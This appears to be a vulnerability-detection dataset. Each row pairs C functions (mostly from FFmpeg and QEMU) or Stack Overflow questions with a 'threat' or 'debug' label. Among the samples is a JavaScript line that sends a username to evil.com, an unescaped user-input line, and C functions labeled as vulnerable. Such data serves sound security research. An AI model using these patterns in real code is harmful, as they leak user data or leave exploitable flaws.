problem
stringlengths
26
131k
labels
class label
2 classes
static int mpeg_mux_end(AVFormatContext *ctx) { MpegMuxContext *s = ctx->priv_data; StreamInfo *stream; int i; for(i=0;i<ctx->nb_streams;i++) { stream = ctx->streams[i]->priv_data; while (stream->buffer_ptr > 0) { flush_packet(ctx, i, AV_NOPTS_VALUE, AV_NOPTS_...
1threat
Why does changing int to long speed up the execution? : <p>I was trying to solve <a href="https://projecteuler.net/problem=14" rel="noreferrer">problem #14 from Project Euler</a>, and had written the following C#...</p> <pre><code>int maxColl = 0; int maxLen = 0; for (int i = 2; i &lt; 1000000; i++) { int coll = i; ...
0debug
GREP - Exclude line entries that have a question mark "?" : <p>I have a large file with over 800k entries (access log file). I need to output a file with only clean URLs (without parameters / "?") in the URL. </p> <p>Output should only display entries that DON'T have a "?" in the URL.</p> <p>Parameter url:</p> <p><a...
0debug
How to make recursive singly linked list (C++) : <p>My book is asking me to make a recursive definition of a singly linked list. I have no idea at all how to do that. Can someone please help me out with a sample? Thanks</p>
0debug
XGBoostLibraryNotFound: Cannot find XGBoost Library in the candidate path, did you install compilers and run build.sh in root path? : <p>I am facing this problem while moving the python-package directory of XGBoost.</p> <pre><code>Traceback (most recent call last): File "setup.py", line 19, in LIB_PATH = libpath'find_...
0debug
Group by operation using one of arrays' values : <p>I have array of arrays in <code>javascript</code> that looks like: <code>[[1, 23.34, -5.22], [1, 2.34, -52.22], [2, 0.34, -5.02], ...]</code>. I need to <code>group by</code> by the first number in the arrays and produce 2 different ouputs:</p> <ol> <li><p>Object (<c...
0debug
combine two strings and convert it to integer variable : <p>I want to take two strings and their combination will give a name of integer variable for example:</p> <pre><code>int Value1 = 0; int Value2 = 0; . . . int Value30 = 0; int index = 0; string startOfVar = "Value"; </code></pre> <p>and now i want to do somethi...
0debug
Session data could not be read from another window : <p>On a test1.php I have this:</p> <pre><code>&lt;?php echo "Session variables are about to be set."; // Set session variables $_SESSION["animal"] = "cat"; echo "Session variables are set."; echo "Favorite animal is " . $_SESSION["animal"] . ".";...
0debug
How to link one JS file to two HTML files? : <p>I have two HTML files, both are linked to one JS file. The first HTML file can be manipulated by the js but the other way around for the second one. Does this mean I need separate JS files for the two? </p>
0debug
json won`t get parsed with variables out of an array : I don´t understand why my json doesn´t get parsed. I hope someone could explain this to me. I try to send a json from php to javascript. **This code works fine:** From PHP echo json_encode(array($row['jobunique'], $row['jobtitle'])); to JAVASCRIPT...
0debug
Laravel @extends and @include : <p>I'm working on this project using Laravel.</p> <p>According to this tutorial I'm watching, I had to add this bit of code at the top of the main view. </p> <pre><code> @extends('layouts.masters.main') </code></pre> <p>Since I'm new to Laravel this got me wondering why can i not simp...
0debug
in for loop no adding elements in list please see my sorce and help me please with this problem : no adding elements in list and please help me whit this I am beginner list1 =[] print("How much numbers") x =int(input()) print("input numbers:") for n in range(x): int(input...
0debug
Multiple input with different data type using scanf(); : hello am working on some project and am stuck on one problem. am not able to use scanf() function properly. I want to scan multiple input with different data types. But I don't know whats the problem. there is no compiler errors. plz help <!-- begin snipp...
0debug
Significance of scoped type variables standing for type variables and not types : <p>In the GHC <a href="https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/glasgow_exts.html#lexically-scoped-type-variables" rel="noreferrer">documentation</a> for the ScopedTypeVariables extension, the overview states the f...
0debug
Debugging code from dynamically loaded assembly in .net core 2.0 : <p>I have a .net core 2.0 console app that does the following (simplified):</p> <pre><code>var a = Assembly.Load(Assembly.GetEntryAssembly() .GetReferencedAssemblies() .First(i =&gt; i.Name ==...
0debug
static int pcm_decode_frame(AVCodecContext *avctx, void *data, int *data_size, const uint8_t *buf, int buf_size) { PCMDecode *s = avctx->priv_data; int sample_size, c, n; short *samples; const uint8_t *src, *src2[MAX_CHANNELS]; uint8_t ...
1threat
Minimum no of bracket reversals : Given an expression with only ‘}’ and ‘{‘. The expression may not be balanced. Find minimum number of bracket reversals to make the expression balanced …. python `` a=['}{}{}{}}}{{{{{}{}{}}{{}{}{}}{{}}{{'] for elem in a: sol=0 stack=[] ...
0debug
static void pc_init1(MachineState *machine, const char *host_type, const char *pci_type) { PCMachineState *pcms = PC_MACHINE(machine); PCMachineClass *pcmc = PC_MACHINE_GET_CLASS(pcms); MemoryRegion *system_memory = get_system_memory(); MemoryRegion *system_io = get_system_io(...
1threat
void qemu_chr_generic_open(CharDriverState *s) { if (s->open_timer == NULL) { s->open_timer = qemu_new_timer_ms(rt_clock, qemu_chr_fire_open_event, s); qemu_mod_timer(s->open_timer, qemu_get_clock_ms(rt_clock) - 1); } }
1threat
Selecting by details with MySQL, after join : <p>First I'll introduce what I'm trying to achieve and how I'm doing it.</p> <p>I have three tables, <code>Posts</code>, <code>Details</code>, and <code>Posts_Details</code>.</p> <p><code>Posts</code> is the table where I keep the basic post data, <code>Details</code> is ...
0debug
PHP CURL Post Fields is not working : <p>PHP curl post is not working..</p> <p>Here's my code </p> <pre><code> function post_to_url($url, $data) { $fields = ''; foreach($data as $key =&gt; $value) { $fields .= $key . '=' . $value . '&amp;'; } rtrim($fields, '&amp;'); $post = curl_init(); ...
0debug
static void init_proc_970FX (CPUPPCState *env) { gen_spr_ne_601(env); gen_spr_7xx(env); gen_tbl(env); spr_register(env, SPR_HID0, "HID0", SPR_NOACCESS, SPR_NOACCESS, &spr_read_generic, &spr_write_clear, 0x60000000); ...
1threat
def string_to_list(string): lst = list(string.split(" ")) return lst
0debug
My program keeps getting an error called 'inconsistent use of tabs and spaces' when I add an else or elif statement : <p>My code goes as follows</p> <pre><code>if (input("").lower() == "yes"): gender_set() elif name.lower()=="dev mode": print("dev mode activated") gender_set() else: ...
0debug
static int process_metadata(AVFormatContext *s, uint8_t *name, uint16_t name_len, uint16_t val_len, uint16_t type, AVDictionary **met) { int ret; ff_asf_guid guid; if (val_len) { switch (type) { case ASF_UNICODE: asf_read_value(s, name, name_...
1threat
void register_avcodec(AVCodec *codec) { AVCodec **p; p = &first_avcodec; while (*p != NULL) p = &(*p)->next; *p = codec; codec->next = NULL; }
1threat
NestJS returning the result of an HTTP request : <p>In my NestJS application I want to return the result of an http call.</p> <p>Following the example of the <a href="https://docs.nestjs.com/techniques/http-module" rel="noreferrer">NestJS HTTP module</a>, what I'm doing is simply:</p> <pre><code>import { Controller, ...
0debug
static void audio_init (PCIBus *pci_bus, qemu_irq *pic) { struct soundhw *c; int audio_enabled = 0; for (c = soundhw; !audio_enabled && c->name; ++c) { audio_enabled = c->enabled; } if (audio_enabled) { AudioState *s; s = AUD_init (); if (s) { ...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
Edit text in File - QTCreator : HELP QTCreator In the program records various information and would like to edit two in one file, the user will type in a lineEdit and will swap in the file My code: QString valor = ui->edtRValor->text(); QDate dateIn = ui->dateRInicial->date(); QString dataIn...
0debug
static void rocker_test_dma_ctrl(Rocker *r, uint32_t val) { PCIDevice *dev = PCI_DEVICE(r); char *buf; int i; buf = g_malloc(r->test_dma_size); if (!buf) { DPRINTF("test dma buffer alloc failed"); return; } switch (val) { case ROCKER_TEST_DMA_CTRL_CLEAR: ...
1threat
How to detect if webpack-dev-server is running? : <p>How can I determine if <code>webpack.config.js</code> was loaded via <code>webpack</code> vs <code>webpack-dev-server</code>?</p>
0debug
Declare URL in Swift : <p>I'm trying to declare a URL variable but it's giving me the error:</p> <p><code>Cannot use instance member 'url' within property initializer; property initializers run before 'self' is available</code></p> <p>I'm trying to create a hard coded data so it's fine to write is inside the array, i...
0debug
ASP.NET MVC Form choose color and send form : This is my entity class: class Data{ public Color FrontColor { get; set; } } View: @using (Html.BeginForm("ConfigureFurniture", "Home", FormMethod.Post)) { <input type="color" name="FrontColor" id="color1"/> <i...
0debug
Creating an advanced e-commerce website in Rails : <p>Okay, so, as the title suggests I'm supposed to create a rails app. - an e-commerce platform. I've done some background research and found a few useful gems like shoppe, spree. Specifications of my website are:</p> <ol> <li>Searching using wide variety of options l...
0debug
Contact lookup via Email field : <p>I am using <em>Force.com Toolkit for PHP (Version 20.0)</em> to integrate with Salesforce.</p> <p>I would like to lookup some Contact via the email field and print in on page if the condition is met. Here is the query I used:</p> <pre><code>SELECT Name, Email, npe01__HomeEmail__c, ...
0debug
Regex - Match any string longer than 2 characters but not containing '%' : <p>After extensive research, I have still not been able to find a regex which would match any string longer than 2 characters and not including a percentage (%) sign. Please could anyone relieve me from this headache?</p> <p>Many thanks!</p>
0debug
Trying to see if this is responsive : <p>Review the basic CSS below, confirm whether this will provide a responsive page or not. If not, what changes would need to take place for it to be responsive?</p> <pre><code> &lt;style&gt; .article { float: left; margin: 5px; padding: 5px; width: 300px; height: 300p...
0debug
ptyhon - How do I execute this function syntax? : def swap_value(x,y): temp = x x = y y = temp return swap_value(3,4) I tried it like this. But it didn't work
0debug
Change Destinatin method : I created a method changeTarget in the TraCICommandInterface.cc file where I used the chageTarget Traci command to change the destination.I wanted to know whether tis is a correct implementation or not and also the nodeId mentioned in the method is the same as the nodeId of TraCICommandInterf...
0debug
Are maps passed by value or by reference in Go? : <p>Are maps passed by value or reference in Go ?</p> <p>It is always possible to define a function as following, but is this an overkill ?</p> <pre><code>func foo(dat *map[string]interface{}) {...} </code></pre> <p>Same question for return value. Should I return a po...
0debug
VSO(TFS) - get current date time as variable : <p>How can I get a current date-time and pass it as a variable to some Deployment task?</p>
0debug
Mac spark-shell Error initializing SparkContext : <p>I tried to start spark 1.6.0 (spark-1.6.0-bin-hadoop2.4) on Mac OS Yosemite 10.10.5 using </p> <pre><code>"./bin/spark-shell". </code></pre> <p>It has the error below. I also tried to install different versions of Spark but all have the same error. This is the sec...
0debug
Removing first element in array and NOT returning new array : Given an array: arr1 = [x,y,z] I need a way to remove the first element in arr1 and assigning the new array to a new array: arr2 = [y,z] Such that I end up with arr1 = [x,y,z] AND the new array arr2 = [y,z]
0debug
Creating the xml format to pass to zeep : <p>I'm new to zeep. I have the following that works very well:</p> <pre><code>import zeep from zeep.cache import SqliteCache from zeep.transports import Transport wsdl = 'https://emaapitest.eset.com/Services/v2015_1/MSPService.svc?singleWsdl' transport = Transport(cache=Sql...
0debug
Iron Python script for cross Table taggle Rows Grand Total : <p>can any one help me script for cross table rows Grand Total in a cross table.</p> <p>Thanks Raju</p>
0debug
Any help? I need these 3 ID's to work for me in SQL : The Title of my project is Media Advertisements DB. I want these to be displayed in a Java GUI in a pretty accordingly and neat way. Like there are options where the user can view those different tables, but also to display them all at but when i display those, it i...
0debug
static void validate_numa_cpus(void) { int i; unsigned long *seen_cpus = bitmap_new(max_cpus); for (i = 0; i < nb_numa_nodes; i++) { if (bitmap_intersects(seen_cpus, numa_info[i].node_cpu, max_cpus)) { bitmap_and(seen_cpus, seen_cpus, numa_info[i].node_cpu...
1threat
static void put_ebml_uint(ByteIOContext *pb, unsigned int elementid, uint64_t val) { int i, bytes = 1; while (val >> bytes*8) bytes++; put_ebml_id(pb, elementid); put_ebml_num(pb, bytes, 0); for (i = bytes - 1; i >= 0; i--) put_byte(pb, val >> i*8); }
1threat
Python modifying a dictionary with a function call : <p>Here is my code. I am trying to construct a list of names to create a bunch of defaultdicts. Then I want to modify these default dicts by calling a function. Having problems as you can see in the comments.</p> <pre><code>#!/usr/bin/python ...
0debug
Difference between ArrayList and Array of object : <p>I am not able to make the difference between ArrayList and Array of objects in java. I am just a beginner. Also I am not able to understand that why Array is sorted by Arrays.sort and ArrayList is sorted by Collections.sort if both are array only.</p>
0debug
How to show check box text if it is not next to check box using Jquey : [click to see the image][1] I am tying to achive checked value text should visible like shown in the image.without refresh or any click can anyone help me out.? This is my php dynamic from : <div class="products-row"> <?php $tq=$...
0debug
Equivalent of "@section" in ASP.NET Core MVC? : <p>In the default <code>_Layout.cshtml</code> file, scripts are defined in "environment"s like so:</p> <pre><code>&lt;environment names="Development"&gt; &lt;script src="~/lib/jquery/dist/jquery.js"&gt;&lt;/script&gt; &lt;script src="~/lib/bootstrap/dist/js/boo...
0debug
static int smacker_read_header(AVFormatContext *s) { AVIOContext *pb = s->pb; SmackerContext *smk = s->priv_data; AVStream *st, *ast[7]; int i, ret; int tbase; smk->magic = avio_rl32(pb); if (smk->magic != MKTAG('S', 'M', 'K', '2') && smk->magic != MKTAG('S', 'M', 'K', '4')) ...
1threat
passing hex command to c function : <p>In the function declaration below for uart write on a mcu, can I pass a hex command?</p> <pre><code>uart_write(const uart_t uart, const uint8_t data); uart_write(uart_1, 0x56); </code></pre>
0debug
How to getIDs of SVG Paths : <p>I'm currently working on this svg file and I'm trying to get the ID of each path. I converted the image using Raphael so this was the code. <a href="https://i.stack.imgur.com/rrnU6.png" rel="nofollow noreferrer">Image of path code</a></p> <p>Then here's my svg in my html file.</p> <p><...
0debug
Javascript to parse string that may contain invalid daylight date : I need help to convert input string that looks something like '20160313023000' (invalid daylight saving date) to date in 'yyyyMMddHHmmss' format using javascript. Thanks in advance.
0debug
static int rkmpp_retrieve_frame(AVCodecContext *avctx, AVFrame *frame) { RKMPPDecodeContext *rk_context = avctx->priv_data; RKMPPDecoder *decoder = (RKMPPDecoder *)rk_context->decoder_ref->data; RKMPPFrameContext *framecontext = NULL; AVBufferRef *framecontextref = NULL; int ret; MppFrame...
1threat
PHP 7.1.1 - All printer functions not working : <p>I am trying to print using PHP I am using php version 7.1.1 xamp in my local machine. I have seen many answers or solution but they did not work. Some solutions included downloading and installing php_printer.dll, but i still fail. i tried printer_list(), printer_open(...
0debug
Javascript: Comparing elements in nested arrays using nested for loops : <p>I'm working with an array of arrays that looks like this:</p> <p><code>let matrix = [[0,1,1,2], [0,5,0,0], [2,0,3,3]]</code></p> <p>I want to loop through each array and compare the value to the same element in the other arrays i.e. I want to...
0debug
static int ehci_execute(EHCIQueue *q) { USBDevice *dev; int ret; int endp; int devadr; if ( !(q->qh.token & QTD_TOKEN_ACTIVE)) { fprintf(stderr, "Attempting to execute inactive QH\n"); return USB_RET_PROCERR; } q->tbytes = (q->qh.token & QTD_TOKEN_TBYTES_MASK) >...
1threat
@Override in all methods is decripted in new project created in android : I created new project in android studio and it shows @Override for all methods decrypted well as when i opened my old projects in it @Override shows decrypted.[enter image description here][1] [1]: https://i.stack.imgur.com/kJRVs.png
0debug
void stq_phys_notdirty(target_phys_addr_t addr, uint64_t val) { uint8_t *ptr; MemoryRegionSection *section; section = phys_page_find(addr >> TARGET_PAGE_BITS); if (!memory_region_is_ram(section->mr) || section->readonly) { addr = memory_region_section_addr(section, addr); if (...
1threat
void module_call_init(module_init_type type) { ModuleTypeList *l; ModuleEntry *e; l = find_type(type); TAILQ_FOREACH(e, l, node) { e->init(); } }
1threat
Iterative decoding : <p>So, I have a cipher that I would need to break. I have the key, but the problem is that every number in a cipher corresponds to three or two letters. For example, if we had the cipher '12', and we know that '1' corresponds to either 'A', 'J' or 'S', and '2' corresponds to 'B', 'K' or 'T', we wou...
0debug
Up/Down Key not working in Onenote 2016 for Autohotkey : <p>I mapped alt+i/k to Up/down key using Autohotkey, with the following code:</p> <pre><code>!i:: Send {up} !k:: Send {down} </code></pre> <p>These remappings work with every application except Onenote 2016. I checked it online and found some discussions in the...
0debug
static void vga_mm_init(VGAState *s, target_phys_addr_t vram_base, target_phys_addr_t ctrl_base, int it_shift) { int s_ioport_ctrl, vga_io_memory; s->it_shift = it_shift; s_ioport_ctrl = cpu_register_io_memory(0, vga_mm_read_ctrl, vga_mm_write_ctrl, s); vga_io_memory = cp...
1threat
iOS 11 Safari bootstrap modal text area outside of cursor : <p>With iOS 11 safari, input textbox cursor are outside of input textbox. We did not get why it is having this problem. As you can see my focused text box is email text input but my cursor is outside of it. This only happens with iOS 11 Safari </p> <p><a href...
0debug
python. How can I write a function that takes a list of spaces as input : Hi because I'm a beginner in python I have some questions. How can I write a function that takes a list of spaces as input and returns the sum of the lengths of the spaces.
0debug
Does bash have a way to un-export a variable without unsetting it? : <p>Is it possible to <code>export</code> a variable in Bash, then later un-export it, without unsetting it entirely? I.e. have it still available to the current shell, but not to sub-processes.</p> <p>You can always do this, but it's ugly (and I'm cu...
0debug
def average_tuple(nums): result = [sum(x) / len(x) for x in zip(*nums)] return result
0debug
How to segue to a specific viewcontroller in a different storyboard? : <p>When you execute a segue back to a storyboard using a storyboard reference, it loads up the initial view controller for that storyboard. </p> <p>I'm needing to segue to a view controller that is not my initial view controller from the other stor...
0debug
static int read_seek(AVFormatContext *s, int stream_index, int64_t timestamp, int flags) { AVStream *st = s->streams[0]; CaffContext *caf = s->priv_data; int64_t pos; timestamp = FFMAX(timestamp, 0); if (caf->frames_per_packet > 0 && caf->bytes_per_packet > 0) { ...
1threat
Why use pandas.assign rather than simply initialize new column? : <p>I just discovered the <code>assign</code> method for pandas dataframes, and it looks nice and very similar to dplyr's <code>mutate</code> in R. However, I've always gotten by by just initializing a new column 'on the fly'. Is there a reason why <code>...
0debug
alert('Hello ' + user_input);
1threat
static int jpeg2000_read_main_headers(Jpeg2000DecoderContext *s) { Jpeg2000CodingStyle *codsty = s->codsty; Jpeg2000QuantStyle *qntsty = s->qntsty; uint8_t *properties = s->properties; for (;;) { int len, ret = 0; uint16_t marker; int oldpos; if (byt...
1threat
stored procedures to check date for example i want to check first whether start date is larger than expiry date then only i want to execute query : table passenger create table passenger ( passport_no varchar(15) not null, fname varchar(25) not null, minit char(1), lname varchar(25) not null, gender char(1) no...
0debug
How to count number of scripts are use in a particular view using asp.net mvc : How to count number of scripts tag use in a particular view in mvc I want to do this in mvc please help as soon as possible.
0debug
What is wrong with int() function not accepting string in Python? : <p>I am relatively new to programming and I would like to test the base conversion ability of the int() function. When I write:</p> <pre><code>&gt;&gt;&gt; int("3",2) 11 </code></pre> <p>it displays this. However, if I use:</p> <pre><code>&gt;&gt;&g...
0debug
Javascript Regular Expression for a specific numeric pattern : <p>I'm actually looking for a javascript regex for a numeric pattern. Regex should accept any numeric input of below formats but not <strong>0.0.0</strong></p> <p><strong>Condition:</strong></p> <ul> <li>each segment in the pattern ranges between 0-10</li...
0debug
def is_decimal(num): import re dnumre = re.compile(r"""^[0-9]+(\.[0-9]{1,2})?$""") result = dnumre.search(num) return bool(result)
0debug
why cant we use orginal for loop for Set : <p>The basic difference between the set and the list is that set wont allow the duplicates the question is why cant we use original for loop for the set as we use for list</p> <p>eg: length of set and list is same</p> <pre><code> for(int i =0 ; i&lt; list.size;i++){ l...
0debug
static void disas_cond_select(DisasContext *s, uint32_t insn) { unsigned int sf, else_inv, rm, cond, else_inc, rn, rd; TCGv_i64 tcg_rd, tcg_src; if (extract32(insn, 29, 1) || extract32(insn, 11, 1)) { unallocated_encoding(s); return; } sf = extract32(insn, 31, 1);...
1threat
static int decode_pce(AVCodecContext *avctx, MPEG4AudioConfig *m4ac, uint8_t (*layout_map)[3], GetBitContext *gb) { int num_front, num_side, num_back, num_lfe, num_assoc_data, num_cc, sampling_index; int comment_len; int tags; skip_bits(gb, 2); ...
1threat
static int get_uint64(QEMUFile *f, void *pv, size_t size) { uint64_t *v = pv; qemu_get_be64s(f, v); return 0; }
1threat
"java.sql.SQLException: Column count doesn't match value count at row 1" I CANNOT INSERT VALUES INTO THE DATABASE TABLES PLEASE HELP ME OUT, : MY DATABASE OVER HERE :- [MYSQL SCREENSHOT][1] SERVLET CODE HERE:- import java.io.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; ...
0debug
How can i import a tables into microsoft sql sever 2008? : I had 5 tables with a values which is exported from other system. Now i want to import that 5 tables into my database. Is it any possibles to import ?
0debug
static AddressSpace *q35_host_dma_iommu(PCIBus *bus, void *opaque, int devfn) { IntelIOMMUState *s = opaque; VTDAddressSpace **pvtd_as; int bus_num = pci_bus_num(bus); assert(0 <= bus_num && bus_num <= VTD_PCI_BUS_MAX); assert(0 <= devfn && devfn <= VTD_PCI_DEVFN_MAX); pvtd_as = s->ad...
1threat
Minify android app but do not obfuscate it : <p>When I do not minify my app I reach the maximum method count and building the dex file fails. This can be avoided by enabling <code>minify</code> in <code>build.gradle</code>. The downside, however, is that now the code gets obfuscated. This is OK for the Release build bu...
0debug
How to run two webapplication in a single domain? Is that possible? : <p>I have a php application configured in apache server that serves api in www.example.com/api1, now i want to run my django app in the same domain but with different route like www.example.com/api2. Is that possible? please give your valuable soluti...
0debug
Including HTML inside Jekyll tag : <p>Instead of writing out <code>{% include link_to.html i=5 text="hello world" %}</code> all the time, I've written a custom tag that allows me to do <code>{% link_to 5 hello world %}</code>. It finds the page with data <code>i</code> equal to 5 and creates a link to it.</p> <p>But i...
0debug
static int file_open_dir(URLContext *h) { #if HAVE_DIRENT_H FileContext *c = h->priv_data; c->dir = opendir(h->filename); if (!c->dir) return AVERROR(errno); return 0; #else return AVERROR(ENOSYS); #endif }
1threat
Angular2 - how to start and with which IDE : <p>I have used AngularJS 1.x now for a couple of months. Now I will switch to Angular2 (with TypeScript) and actually I am not sure which IDE to use. It is also not clear for me how to compile the TypeScript Code into JavaScript - actually is this necessary? I have read that...
0debug
Why TFS with GIT is not working from command line? : <p>I want to use the git command line tools with the Microsoft Team Foundation Server Git repositories.</p> <p>But every time I want to access to remote repos the authentication fails. And of course I am using Active Directory (this is a TFS server). The git repo ma...
0debug
Enum type no longer working in .Net core 3.0 FromBody request object : <p>I have recently upgraded my web api from .Net core 2.2 to .Net core 3.0 and noticed that my requests are getting an error now when I pass an enum in a post to my endpoint. For example:</p> <p>I have the following model for my api endpoint:</p> ...
0debug
JWT Verify client-side? : <p>I have a nodejs api with an angular frontend. The API is successfully using JWT with passport to secure it's endpoints. </p> <p>I am now conscious that after the tokens have expired, my front end will still allow the user to request my api endpoints without prompting them to reenter their ...
0debug
Mobaxterm annoying sidebar : <p>This seems like a simple question but I can't find an answer. I use mobaxterm free edition to ssh into my machines. Every time I ssh into a machine the side bar automatically expands with the paths on the remote machine. I don't need this side bar and every time I have to collapse it. Is...
0debug
Grant access to views in postgresql : <p>I have a view called testview in postgresql.</p> <p>I created a new user called testuser. </p> <p>I would like testuser to have all privileges on all tables and views in the database.</p> <p>To do this I ran the following commands:</p> <pre><code>GRANT ALL PRIVILEGES ON DATA...
0debug
static void vc1_interp_mc(VC1Context *v) { MpegEncContext *s = &v->s; H264ChromaContext *h264chroma = &v->h264chroma; uint8_t *srcY, *srcU, *srcV; int dxy, mx, my, uvmx, uvmy, src_x, src_y, uvsrc_x, uvsrc_y; int off, off_uv; int v_edge_pos = s->v_edge_pos >> v->field_mode; int use_ic...
1threat
javascript cofirm not working in php file : <pre><code>&lt;script type="text/javascript"&gt; var r = confirm("Press a button"); if (r == true) { &lt;?php header('location:index.php');?&gt; }&lt;/script&gt; </code></pre> <p>//Its redirect in index.php without conformation dialog and below code execute properly no a...
0debug